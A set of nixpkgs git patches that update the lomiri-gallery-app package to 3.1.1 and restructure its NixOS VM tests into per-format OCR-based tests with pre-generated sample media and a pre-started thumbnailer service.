From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 14 May 2025 23:49:02 +0200
Subject: [PATCH 0766/4511] lomiri.lomiri-gallery-app: 3.1.0 -> 3.1.1

(cherry picked from commit 67e81835313fcb0ba3b0eccee7439c93734e5a3f)
---
 .../lomiri-gallery-app/default.nix            | 25 +++++--------------
 1 file changed, 6 insertions(+), 19 deletions(-)

diff --git a/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
index a087b0f7353a..537bcaa302a8 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
@@ -2,7 +2,6 @@
   stdenv,
   lib,
   fetchFromGitLab,
-  fetchpatch,
   gitUpdater,
   nixosTests,
   cmake,
@@ -25,29 +24,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-gallery-app";
-  version = "3.1.0";
+  version = "3.1.1";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/apps/lomiri-gallery-app";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-uKGPic9XYUj0rLA05i6GjLM+n17MYgiFJMWnLXHKmIU=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-5/mZszPEsSZqgioJ+Mc7+0gEcpUKr7n/LgyXJ20P2Zg=";
   };
 
-  patches = [
-    # Remove when https://gitlab.com/ubports/development/apps/lomiri-gallery-app/-/merge_requests/152 merged & in release
-    (fetchpatch {
-      name = "0001-lomiri-gallery-app-bindtextdomain.patch";
-      url = "https://gitlab.com/ubports/development/apps/lomiri-gallery-app/-/commit/592eff118cb5056886b73e6698f8941c7a16f2e0.patch";
-      hash = "sha256-aR/Lnzvq4RuRLI75mMd4xTGMAcijm1adSAGVFZZ++No=";
-    })
-    (fetchpatch {
-      name = "0002-lomiri-gallery-app-C++ify-i18n.patch";
-      url = "https://gitlab.com/ubports/development/apps/lomiri-gallery-app/-/commit/a7582abbe0acef4d49c77a4395bc22dbd1707ef3.patch";
-      hash = "sha256-qzqTXqIYX+enoOwwV9d9fxe7tVYLuh1WkL8Ij/Qx0H0=";
-    })
-  ];
-
   postPatch = ''
     # Make splash path in desktop file relative
     substituteInPlace desktop/lomiri-gallery-app.desktop.in.in \
@@ -125,7 +110,9 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Photo gallery application for Ubuntu Touch devices";
     homepage = "https://gitlab.com/ubports/development/apps/lomiri-gallery-app";
-    changelog = "https://gitlab.com/ubports/development/apps/lomiri-gallery-app/-/blob/v${finalAttrs.version}/ChangeLog";
+    changelog = "https://gitlab.com/ubports/development/apps/lomiri-gallery-app/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = with lib.licenses; [
       gpl3Only
       cc-by-sa-30

From e14426a8a97fd5048dad5b8afd8c65b97e814ec6 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Fri, 23 May 2025 14:42:36 +0200
Subject: [PATCH 0767/4511] nixosTests.lomiri-gallery-app: Optimise OCR

- Generate image & video data once, ahead of time
- Use wait_for_console_text to detect when we're close to displaying text
- Programmatically generate per-image-format tests
- Switch to fullscreen for better OCR success odds

(cherry picked from commit 8bf28aa1aab925933761308db871f1dcb98ab501)
---
 nixos/tests/lomiri-gallery-app.nix | 196 ++++++++++++++++-------------
 1 file changed, 109 insertions(+), 87 deletions(-)

diff --git a/nixos/tests/lomiri-gallery-app.nix b/nixos/tests/lomiri-gallery-app.nix
index c7cec10d875c..c368536728c5 100644
--- a/nixos/tests/lomiri-gallery-app.nix
+++ b/nixos/tests/lomiri-gallery-app.nix
@@ -1,4 +1,8 @@
 { lib, ... }:
+let
+  imageDataDir = "gallery-app-sampledata";
+  imageLabel = "Image";
+in
 {
   name = "lomiri-gallery-app-standalone";
   meta.maintainers = lib.teams.lomiri.members;
@@ -11,11 +15,38 @@
       services.xserver.enable = true;
 
       environment = {
+        etc."${imageDataDir}".source =
+          pkgs.runCommand imageDataDir
+            {
+              nativeBuildInputs = with pkgs; [
+                ffmpeg # make a video from the image
+                (imagemagick.override { ghostscriptSupport = true; }) # add label for OCR
+              ];
+            }
+            ''
+              mkdir -p $out/{Pictures,Videos}
+
+              # Setup example data, OCR-friendly:
+              # - White square, black text
+              # - Small text for display OCR
+              # - Big text for gallery preview OCR
+              # - uppercase extension
+              magick -size 500x500 -background white -fill black canvas:white \
+                -pointsize 20 -annotate +100+100 '${imageLabel}' \
+                -pointsize 70 -annotate +100+300 '${imageLabel}' \
+                $out/Pictures/output.PNG
+
+              # Different image formats
+              magick $out/Pictures/output.PNG $out/Pictures/output.JPG
+              magick $out/Pictures/output.PNG $out/Pictures/output.BMP
+              magick $out/Pictures/output.PNG $out/Pictures/output.GIF
+
+              # Video for dispatching
+              ffmpeg -loop 1 -r 1 -i $out/Pictures/output.PNG -t 100 -pix_fmt yuv420p $out/Videos/output.MP4
+            '';
         systemPackages =
           with pkgs;
           [
-            ffmpeg # make a video from the image
-            (imagemagick.override { ghostscriptSupport = true; }) # example image creation
             mpv # URI dispatching for video support
             xdotool # mouse movement
           ]
@@ -42,44 +73,30 @@
   enableOCR = true;
 
   testScript =
-    let
-      imageLabel = "Image";
-    in
     ''
       machine.wait_for_x()
 
       with subtest("lomiri gallery launches"):
           machine.succeed("lomiri-gallery-app >&2 &")
-          machine.sleep(2)
+          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+          machine.sleep(10)
+          machine.send_key("alt-f10")
+          machine.sleep(5)
           machine.wait_for_text(r"(Albums|Events|Photos)")
           machine.screenshot("lomiri-gallery_open")
 
-      machine.succeed("pkill -f lomiri-gallery-app")
+      machine.succeed("pgrep -afx lomiri-gallery-app >&2")
+      machine.succeed("pkill -efx lomiri-gallery-app >&2")
+      machine.wait_until_fails("pgrep -afx lomiri-gallery-app >&2")
 
-      machine.succeed("mkdir /root/Pictures /root/Videos")
-      # Setup example data, OCR-friendly:
-      # - White square, black text
-      # - Small text for display OCR
-      # - Big text for gallery preview OCR
-      # - uppercase extension
-      machine.succeed(
-          "magick -size 500x500 -background white -fill black canvas:white "
-          + "-pointsize 20 -annotate +100+100 '${imageLabel}' "
-          + "-pointsize 50 -annotate +100+300 '${imageLabel}' "
-          + "/root/Pictures/output.PNG"
-      )
+      machine.succeed("cp -vr /etc/${imageDataDir}/* /root")
 
-      # Different image formats
-      machine.succeed("magick /root/Pictures/output.PNG /root/Pictures/output.JPG")
-      machine.succeed("magick /root/Pictures/output.PNG /root/Pictures/output.BMP")
-      machine.succeed("magick /root/Pictures/output.PNG /root/Pictures/output.GIF")
-
-      # Video for dispatching
-      machine.succeed("ffmpeg -loop 1 -r 1 -i /root/Pictures/output.PNG -t 100 -pix_fmt yuv420p /root/Videos/output.MP4")
-
-      with subtest("lomiri gallery handles files"):
+      with subtest("lomiri gallery finds files"):
           machine.succeed("lomiri-gallery-app >&2 &")
-          machine.sleep(2)
+          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+          machine.sleep(10)
+          machine.send_key("alt-f10")
+          machine.sleep(5)
           machine.wait_for_text(r"(Albums|Events|Photos|${imageLabel})")
 
           machine.succeed("xdotool mousemove 30 40 click 1") # burger menu for categories
@@ -89,74 +106,79 @@
           machine.wait_for_text("${imageLabel}") # should see thumbnail of at least one of them
           machine.screenshot("lomiri-gallery_photos")
 
-          machine.succeed("xdotool mousemove 80 140 click 1") # select newest one
-          machine.sleep(2)
-          machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
+      machine.succeed("xdotool mousemove 80 140 click 1") # select newest one
+      machine.sleep(2)
+      machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
+      machine.sleep(2)
+
+      # MP4 gets special treatment
+      with subtest("lomiri gallery handles mp4"):
+          machine.succeed("xdotool mousemove 935 40 click 1") # open media information
           machine.sleep(2)
+          machine.wait_for_text("MP4") # make sure we're looking at the right file
+          machine.screenshot("lomiri-gallery_mp4_info")
+          machine.send_key("esc")
 
-          with subtest("lomiri gallery handles mp4"):
-              machine.succeed("xdotool mousemove 870 50 click 1") # open media information
+          machine.wait_for_text("${imageLabel}") # make sure thumbnail processing worked
+
+          machine.succeed("xdotool mousemove 510 380 click 1") # dispatch to system's video handler
+          machine.wait_until_succeeds("pgrep -u root -f mpv") # wait for video to start
+          machine.sleep(10)
+          machine.succeed("pgrep -u root -f mpv") # should still be playing
+          machine.screenshot("lomiri-gallery_mp4_dispatch")
+
+          machine.send_key("q")
+          machine.wait_until_fails("pgrep mpv") # wait for video to stop
+
+      machine.send_key("right")
+    ''
+    +
+      lib.concatMapStringsSep
+        ''
+          machine.send_key("right")
+        ''
+        (format: ''
+          with subtest("lomiri gallery handles ${format.ext}"):
+              machine.succeed("xdotool mousemove ${
+                if format.buttonIsOffset then "900" else "940"
+              } 50 click 1") # open media information
               machine.sleep(2)
-              machine.wait_for_text("MP4") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_mp4_info")
+              machine.wait_for_text("${format.ext}") # make sure we're looking at the right file
+              machine.screenshot("lomiri-gallery_${format.ext}_info")
               machine.send_key("esc")
-
-              machine.wait_for_text("${imageLabel}") # make sure thumbnail rendering worked
-
-              machine.succeed("xdotool mousemove 450 350 click 1") # dispatch to system's video handler
-              machine.wait_until_succeeds("pgrep -u root -f mpv") # wait for video to start
-              machine.sleep(10)
-              machine.succeed("pgrep -u root -f mpv") # should still be playing
-              machine.screenshot("lomiri-gallery_mp4_dispatch")
-
-              machine.send_key("q")
-              machine.wait_until_fails("pgrep mpv") # wait for video to stop
-
-              machine.send_key("right")
-
-          with subtest("lomiri gallery handles gif"):
-              machine.succeed("xdotool mousemove 870 50 click 1") # open media information
-              machine.sleep(2)
-              machine.wait_for_text("GIF") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_gif_info")
-              machine.send_key("esc")
-
               machine.wait_for_text("${imageLabel}") # make sure media shows fine
-              machine.send_key("right")
+        '')
+        [
+          {
+            ext = "GIF";
+            buttonIsOffset = false;
+          }
+          {
+            ext = "BMP";
+            buttonIsOffset = true;
+          }
+          {
+            ext = "JPG";
+            buttonIsOffset = true;
+          }
+          {
+            ext = "PNG";
+            buttonIsOffset = true;
+          }
+        ]
+    + ''
 
-          with subtest("lomiri gallery handles bmp"):
-              machine.succeed("xdotool mousemove 840 50 click 1") # open media information (extra icon, different location)
-              machine.sleep(2)
-              machine.wait_for_text("BMP") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_bmp_info")
-              machine.send_key("esc")
+      machine.succeed("pgrep -afx lomiri-gallery-app >&2")
+      machine.succeed("pkill -efx lomiri-gallery-app >&2")
+      machine.wait_until_fails("pgrep -afx lomiri-gallery-app >&2")
 
-              machine.wait_for_text("${imageLabel}") # make sure media shows fine
-              machine.send_key("right")
-
-          with subtest("lomiri gallery handles jpg"):
-              machine.succeed("xdotool mousemove 840 50 click 1") # open media information (extra icon, different location)
-              machine.sleep(2)
-              machine.wait_for_text("JPG") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_jpg_info")
-              machine.send_key("esc")
-
-              machine.wait_for_text("${imageLabel}") # make sure media shows fine
-              machine.send_key("right")
-
-          with subtest("lomiri gallery handles png"):
-              machine.succeed("xdotool mousemove 840 50 click 1") # open media information (extra icon, different location)
-              machine.sleep(2)
-              machine.wait_for_text("PNG") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_png_info")
-              machine.send_key("esc")
-
-              machine.wait_for_text("${imageLabel}") # make sure media shows fine
-
-      machine.succeed("pkill -f lomiri-gallery-app")
 
       with subtest("lomiri gallery localisation works"):
           machine.succeed("env LANG=de_DE.UTF-8 lomiri-gallery-app >&2 &")
+          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+          machine.sleep(10)
+          machine.send_key("alt-f10")
+          machine.sleep(5)
           machine.wait_for_text(r"(Alben|Ereignisse|Fotos)")
           machine.screenshot("lomiri-gallery_localised")
     '';

From 3e4ee6cf9b0061e0e4c789101ed34b90c436b1c8 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 25 May 2025 15:55:18 +0200
Subject: [PATCH 0768/4511] nixosTests.lomiri-gallery-app: Split format checks
 into separate tests

(cherry picked from commit 9293bae27b5bea7f9db6a31165b36f2607fd9758)
---
 nixos/tests/all-tests.nix                     |   2 +-
 nixos/tests/lomiri-gallery-app.nix            | 390 +++++++++++-------
 .../lomiri-gallery-app/default.nix            |  11 +-
 .../services/lomiri-thumbnailer/default.nix   |   8 +-
 4 files changed, 259 insertions(+), 152 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index e27dce1734ce..827ebd54e52e 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -757,7 +757,7 @@ in
   lomiri-filemanager-app = runTest ./lomiri-filemanager-app.nix;
   lomiri-mediaplayer-app = runTest ./lomiri-mediaplayer-app.nix;
   lomiri-music-app = runTest ./lomiri-music-app.nix;
-  lomiri-gallery-app = runTest ./lomiri-gallery-app.nix;
+  lomiri-gallery-app = discoverTests (import ./lomiri-gallery-app.nix);
   lomiri-system-settings = runTest ./lomiri-system-settings.nix;
   lorri = handleTest ./lorri/default.nix { };
   lxqt = handleTest ./lxqt.nix { };
diff --git a/nixos/tests/lomiri-gallery-app.nix b/nixos/tests/lomiri-gallery-app.nix
index c368536728c5..104c6e51c03e 100644
--- a/nixos/tests/lomiri-gallery-app.nix
+++ b/nixos/tests/lomiri-gallery-app.nix
@@ -1,117 +1,240 @@
-{ lib, ... }:
 let
+  makeTest = import ./make-test-python.nix;
   imageDataDir = "gallery-app-sampledata";
   imageLabel = "Image";
+
+  makeFormatTest =
+    {
+      file,
+      buttonIsOffset ? null,
+      customTest ? null,
+    }:
+
+    makeTest (
+      { pkgs, lib, ... }:
+
+      assert lib.asserts.assertMsg (
+        buttonIsOffset != null || customTest != null
+      ) "Must either clarify button position, or define custom test code";
+
+      let
+        format = lib.lists.last (lib.strings.splitString "." file);
+      in
+
+      {
+        name = "lomiri-gallery-app-standalone-format-${format}";
+        meta.maintainers = lib.teams.lomiri.members;
+
+        nodes.machine =
+          { config, pkgs, ... }:
+          {
+            imports = [ ./common/x11.nix ];
+
+            services.xserver.enable = true;
+
+            environment = {
+              etc."${imageDataDir}".source =
+                pkgs.runCommand imageDataDir
+                  {
+                    nativeBuildInputs = with pkgs; [
+                      ffmpeg # make a video from the image
+                      (imagemagick.override { ghostscriptSupport = true; }) # add label for OCR
+                    ];
+                  }
+                  ''
+                    mkdir -p $out/{Pictures,Videos}
+
+                    # Setup example data, OCR-friendly:
+                    # - White square, black text
+                    # - Small text for display OCR
+                    # - Big text for gallery preview OCR
+                    # - uppercase extension
+                    magick -size 500x500 -background white -fill black canvas:white \
+                      -pointsize 20 -annotate +100+100 '${imageLabel}' \
+                      -pointsize 70 -annotate +100+300 '${imageLabel}' \
+                      $out/Pictures/output.PNG
+
+                    # Different image formats
+                    magick $out/Pictures/output.PNG $out/Pictures/output.JPG
+                    magick $out/Pictures/output.PNG $out/Pictures/output.BMP
+                    magick $out/Pictures/output.PNG $out/Pictures/output.GIF
+
+                    # Video for dispatching
+                    ffmpeg -loop 1 -r 1 -i $out/Pictures/output.PNG -t 100 -pix_fmt yuv420p $out/Videos/output.MP4
+                  '';
+              systemPackages =
+                with pkgs;
+                [
+                  mpv # URI dispatching for video support
+                  xdotool # mouse movement
+                ]
+                ++ (with pkgs.lomiri; [
+                  suru-icon-theme
+                  lomiri-gallery-app
+                  lomiri-thumbnailer # finds new images & generates thumbnails
+                ]);
+              variables = {
+                UITK_ICON_THEME = "suru";
+              };
+            };
+
+            i18n.supportedLocales = [ "all" ];
+
+            fonts = {
+              packages = with pkgs; [
+                # Intended font & helps with OCR
+                ubuntu-classic
+              ];
+            };
+          };
+
+        enableOCR = true;
+
+        testScript =
+          ''
+            machine.wait_for_x()
+
+            machine.succeed("mkdir /root/${builtins.dirOf file}")
+            machine.succeed("cp -vr /etc/${imageDataDir}/${file} /root/${builtins.dirOf file}")
+
+            with subtest("lomiri gallery finds files"):
+                machine.succeed("lomiri-gallery-app >&2 &")
+                machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+                machine.sleep(10)
+                machine.send_key("alt-f10")
+                machine.sleep(5)
+                machine.wait_for_text(r"(Albums|Events|Photos|${imageLabel})")
+
+                machine.succeed("xdotool mousemove 30 40 click 1") # burger menu for categories
+                machine.sleep(2)
+                machine.succeed("xdotool mousemove 30 180 click 1") # photos
+                machine.sleep(2)
+                machine.screenshot("lomiri-gallery_photos")
+
+            machine.succeed("xdotool mousemove 80 140 click 1") # select first one
+            machine.sleep(2)
+            machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
+            machine.sleep(2)
+
+          ''
+          + (
+            if (customTest != null) then
+              customTest
+            else
+              ''
+                with subtest("lomiri gallery handles ${format}"):
+                    machine.succeed("xdotool mousemove ${
+                      if buttonIsOffset then "900" else "940"
+                    } 50 click 1") # open media information
+                    machine.sleep(2)
+                    machine.wait_for_text("${format}") # make sure we're looking at the right file
+                    machine.screenshot("lomiri-gallery_${format}_info")
+                    machine.send_key("esc")
+                    machine.wait_for_text("${imageLabel}") # make sure media shows fine
+              ''
+          );
+
+      }
+    );
+  makeFormatTests =
+    detailsList:
+    builtins.listToAttrs (
+      builtins.map (
+        {
+          name,
+          file,
+          buttonIsOffset ? null,
+          customTest ? null,
+        }:
+        {
+          name = "format-${name}";
+          value = makeFormatTest {
+            inherit
+              file
+              buttonIsOffset
+              customTest
+              ;
+          };
+        }
+      ) detailsList
+    );
 in
 {
-  name = "lomiri-gallery-app-standalone";
-  meta.maintainers = lib.teams.lomiri.members;
-
-  nodes.machine =
-    { config, pkgs, ... }:
+  basic = makeTest (
+    { lib, ... }:
     {
-      imports = [ ./common/x11.nix ];
+      name = "lomiri-gallery-app-standalone-basic";
+      meta.maintainers = lib.teams.lomiri.members;
 
-      services.xserver.enable = true;
+      nodes.machine =
+        { config, pkgs, ... }:
+        {
+          imports = [ ./common/x11.nix ];
 
-      environment = {
-        etc."${imageDataDir}".source =
-          pkgs.runCommand imageDataDir
-            {
-              nativeBuildInputs = with pkgs; [
-                ffmpeg # make a video from the image
-                (imagemagick.override { ghostscriptSupport = true; }) # add label for OCR
-              ];
-            }
-            ''
-              mkdir -p $out/{Pictures,Videos}
+          services.xserver.enable = true;
 
-              # Setup example data, OCR-friendly:
-              # - White square, black text
-              # - Small text for display OCR
-              # - Big text for gallery preview OCR
-              # - uppercase extension
-              magick -size 500x500 -background white -fill black canvas:white \
-                -pointsize 20 -annotate +100+100 '${imageLabel}' \
-                -pointsize 70 -annotate +100+300 '${imageLabel}' \
-                $out/Pictures/output.PNG
+          environment = {
+            systemPackages =
+              with pkgs;
+              [
+                xdotool # mouse movement
+              ]
+              ++ (with pkgs.lomiri; [
+                suru-icon-theme
+                lomiri-gallery-app
+              ]);
+            variables = {
+              UITK_ICON_THEME = "suru";
+            };
+          };
 
-              # Different image formats
-              magick $out/Pictures/output.PNG $out/Pictures/output.JPG
-              magick $out/Pictures/output.PNG $out/Pictures/output.BMP
-              magick $out/Pictures/output.PNG $out/Pictures/output.GIF
+          i18n.supportedLocales = [ "all" ];
 
-              # Video for dispatching
-              ffmpeg -loop 1 -r 1 -i $out/Pictures/output.PNG -t 100 -pix_fmt yuv420p $out/Videos/output.MP4
-            '';
-        systemPackages =
-          with pkgs;
-          [
-            mpv # URI dispatching for video support
-            xdotool # mouse movement
-          ]
-          ++ (with pkgs.lomiri; [
-            suru-icon-theme
-            lomiri-gallery-app
-            lomiri-thumbnailer # finds new images & generates thumbnails
-          ]);
-        variables = {
-          UITK_ICON_THEME = "suru";
+          fonts = {
+            packages = with pkgs; [
+              # Intended font & helps with OCR
+              ubuntu-classic
+            ];
+          };
         };
-      };
 
-      i18n.supportedLocales = [ "all" ];
+      enableOCR = true;
 
-      fonts = {
-        packages = with pkgs; [
-          # Intended font & helps with OCR
-          ubuntu-classic
-        ];
-      };
-    };
+      testScript = ''
+        machine.wait_for_x()
 
-  enableOCR = true;
+        with subtest("lomiri gallery launches"):
+            machine.succeed("lomiri-gallery-app >&2 &")
+            machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text(r"(Albums|Events|Photos)")
+            machine.screenshot("lomiri-gallery_open")
 
-  testScript =
-    ''
-      machine.wait_for_x()
+        machine.succeed("pgrep -afx lomiri-gallery-app >&2")
+        machine.succeed("pkill -efx lomiri-gallery-app >&2")
+        machine.wait_until_fails("pgrep -afx lomiri-gallery-app >&2")
 
-      with subtest("lomiri gallery launches"):
-          machine.succeed("lomiri-gallery-app >&2 &")
-          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text(r"(Albums|Events|Photos)")
-          machine.screenshot("lomiri-gallery_open")
 
-      machine.succeed("pgrep -afx lomiri-gallery-app >&2")
-      machine.succeed("pkill -efx lomiri-gallery-app >&2")
-      machine.wait_until_fails("pgrep -afx lomiri-gallery-app >&2")
-
-      machine.succeed("cp -vr /etc/${imageDataDir}/* /root")
-
-      with subtest("lomiri gallery finds files"):
-          machine.succeed("lomiri-gallery-app >&2 &")
-          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text(r"(Albums|Events|Photos|${imageLabel})")
-
-          machine.succeed("xdotool mousemove 30 40 click 1") # burger menu for categories
-          machine.sleep(2)
-          machine.succeed("xdotool mousemove 30 180 click 1") # photos
-          machine.sleep(2)
-          machine.wait_for_text("${imageLabel}") # should see thumbnail of at least one of them
-          machine.screenshot("lomiri-gallery_photos")
-
-      machine.succeed("xdotool mousemove 80 140 click 1") # select newest one
-      machine.sleep(2)
-      machine.succeed("xdotool mousemove 80 140 click 1") # enable top-bar
-      machine.sleep(2)
-
-      # MP4 gets special treatment
+        with subtest("lomiri gallery localisation works"):
+            machine.succeed("env LANG=de_DE.UTF-8 lomiri-gallery-app >&2 &")
+            machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text(r"(Alben|Ereignisse|Fotos)")
+            machine.screenshot("lomiri-gallery_localised")
+      '';
+    }
+  );
+}
+// makeFormatTests [
+  {
+    name = "mp4";
+    file = "Videos/output.MP4";
+    # MP4 gets special treatment
+    customTest = ''
       with subtest("lomiri gallery handles mp4"):
           machine.succeed("xdotool mousemove 935 40 click 1") # open media information
           machine.sleep(2)
@@ -129,57 +252,26 @@ in
 
           machine.send_key("q")
           machine.wait_until_fails("pgrep mpv") # wait for video to stop
-
-      machine.send_key("right")
-    ''
-    +
-      lib.concatMapStringsSep
-        ''
-          machine.send_key("right")
-        ''
-        (format: ''
-          with subtest("lomiri gallery handles ${format.ext}"):
-              machine.succeed("xdotool mousemove ${
-                if format.buttonIsOffset then "900" else "940"
-              } 50 click 1") # open media information
-              machine.sleep(2)
-              machine.wait_for_text("${format.ext}") # make sure we're looking at the right file
-              machine.screenshot("lomiri-gallery_${format.ext}_info")
-              machine.send_key("esc")
-              machine.wait_for_text("${imageLabel}") # make sure media shows fine
-        '')
-        [
-          {
-            ext = "GIF";
-            buttonIsOffset = false;
-          }
-          {
-            ext = "BMP";
-            buttonIsOffset = true;
-          }
-          {
-            ext = "JPG";
-            buttonIsOffset = true;
-          }
-          {
-            ext = "PNG";
-            buttonIsOffset = true;
-          }
-        ]
-    + ''
-
-      machine.succeed("pgrep -afx lomiri-gallery-app >&2")
-      machine.succeed("pkill -efx lomiri-gallery-app >&2")
-      machine.wait_until_fails("pgrep -afx lomiri-gallery-app >&2")
-
-
-      with subtest("lomiri gallery localisation works"):
-          machine.succeed("env LANG=de_DE.UTF-8 lomiri-gallery-app >&2 &")
-          machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text(r"(Alben|Ereignisse|Fotos)")
-          machine.screenshot("lomiri-gallery_localised")
     '';
-}
+  }
+  {
+    name = "gif";
+    file = "Pictures/output.GIF";
+    buttonIsOffset = false;
+  }
+  {
+    name = "bmp";
+    file = "Pictures/output.BMP";
+    buttonIsOffset = true;
+  }
+  {
+    name = "jpg";
+    file = "Pictures/output.JPG";
+    buttonIsOffset = true;
+  }
+  {
+    name = "png";
+    file = "Pictures/output.PNG";
+    buttonIsOffset = true;
+  }
+]
diff --git a/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
index 537bcaa302a8..2c8c6f1b6293 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-gallery-app/default.nix
@@ -103,7 +103,16 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests.vm = nixosTests.lomiri-gallery-app;
+    tests = {
+      inherit (nixosTests.lomiri-gallery-app)
+        basic
+        format-mp4
+        format-gif
+        format-bmp
+        format-jpg
+        format-png
+        ;
+    };
     updateScript = gitUpdater { rev-prefix = "v"; };
   };
 
diff --git a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
index 85e8c31df478..0ccb26ab7bad 100644
--- a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix
@@ -188,7 +188,13 @@ stdenv.mkDerivation (finalAttrs: {
   passthru = {
     tests = {
       # gallery app delegates to thumbnailer, tests various formats
-      gallery-app = nixosTests.lomiri-gallery-app;
+      inherit (nixosTests.lomiri-gallery-app)
+        format-mp4
+        format-gif
+        format-bmp
+        format-jpg
+        format-png
+        ;
 
       # music app relies on thumbnailer to extract embedded cover art
       music-app = nixosTests.lomiri-music-app;

From 760fbbce3a83d45aad9cec4c2a0366c3cb7fde06 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Tue, 27 May 2025 12:07:15 +0200
Subject: [PATCH 0769/4511] nixosTests.lomiri-gallery-app: Remove format
 extension check

Test already makes sure that the to-be-tested format is the only one that gets installed,
and OfBorg seems to get stuck on these sonmetimes. Just remove it.

(cherry picked from commit 23274a2a2a121419d6d2ab9e7f50fb28bd724dac)
---
 nixos/tests/lomiri-gallery-app.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/lomiri-gallery-app.nix b/nixos/tests/lomiri-gallery-app.nix
index 104c6e51c03e..b4e9c0bcfd7e 100644
--- a/nixos/tests/lomiri-gallery-app.nix
+++ b/nixos/tests/lomiri-gallery-app.nix
@@ -127,9 +127,9 @@ let
                       if buttonIsOffset then "900" else "940"
                     } 50 click 1") # open media information
                     machine.sleep(2)
-                    machine.wait_for_text("${format}") # make sure we're looking at the right file
                     machine.screenshot("lomiri-gallery_${format}_info")
                     machine.send_key("esc")
+                    machine.sleep(2)
                     machine.wait_for_text("${imageLabel}") # make sure media shows fine
               ''
           );
@@ -238,9 +238,9 @@ in
       with subtest("lomiri gallery handles mp4"):
           machine.succeed("xdotool mousemove 935 40 click 1") # open media information
           machine.sleep(2)
-          machine.wait_for_text("MP4") # make sure we're looking at the right file
           machine.screenshot("lomiri-gallery_mp4_info")
           machine.send_key("esc")
+          machine.sleep(2)
 
           machine.wait_for_text("${imageLabel}") # make sure thumbnail processing worked
 

From 15fce7ec1b3d6aebad5bd40052599dd13f05e2a9 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 28 May 2025 22:47:06 +0200
Subject: [PATCH 0770/4511] nixosTests.lomiri-gallery-app: Cache media in
 thumbnailer ahead-of-time, retry until successful

(cherry picked from commit aff794fe22430fc8bbb436369b303602804794e4)
---
 nixos/tests/lomiri-gallery-app.nix | 42 +++++++++++++++++++++++++++---
 1 file changed, 38 insertions(+), 4 deletions(-)

diff --git a/nixos/tests/lomiri-gallery-app.nix b/nixos/tests/lomiri-gallery-app.nix
index b4e9c0bcfd7e..1f5638f39ba1 100644
--- a/nixos/tests/lomiri-gallery-app.nix
+++ b/nixos/tests/lomiri-gallery-app.nix
@@ -65,6 +65,7 @@ let
               systemPackages =
                 with pkgs;
                 [
+                  glib # Poke thumbnailer to process media via gdbus
                   mpv # URI dispatching for video support
                   xdotool # mouse movement
                 ]
@@ -78,7 +79,14 @@ let
               };
             };
 
-            i18n.supportedLocales = [ "all" ];
+            # Allow us to start thumbnailer ahead-of-time, hopefully let thumbnails get processed in peace
+            systemd.user.services."dbus-com.lomiri.Thumbnailer" = {
+              serviceConfig = {
+                Type = "dbus";
+                BusName = "com.lomiri.Thumbnailer";
+                ExecStart = "${pkgs.lomiri.lomiri-thumbnailer}/libexec/lomiri-thumbnailer/thumbnailer-service";
+              };
+            };
 
             fonts = {
               packages = with pkgs; [
@@ -97,6 +105,34 @@ let
             machine.succeed("mkdir /root/${builtins.dirOf file}")
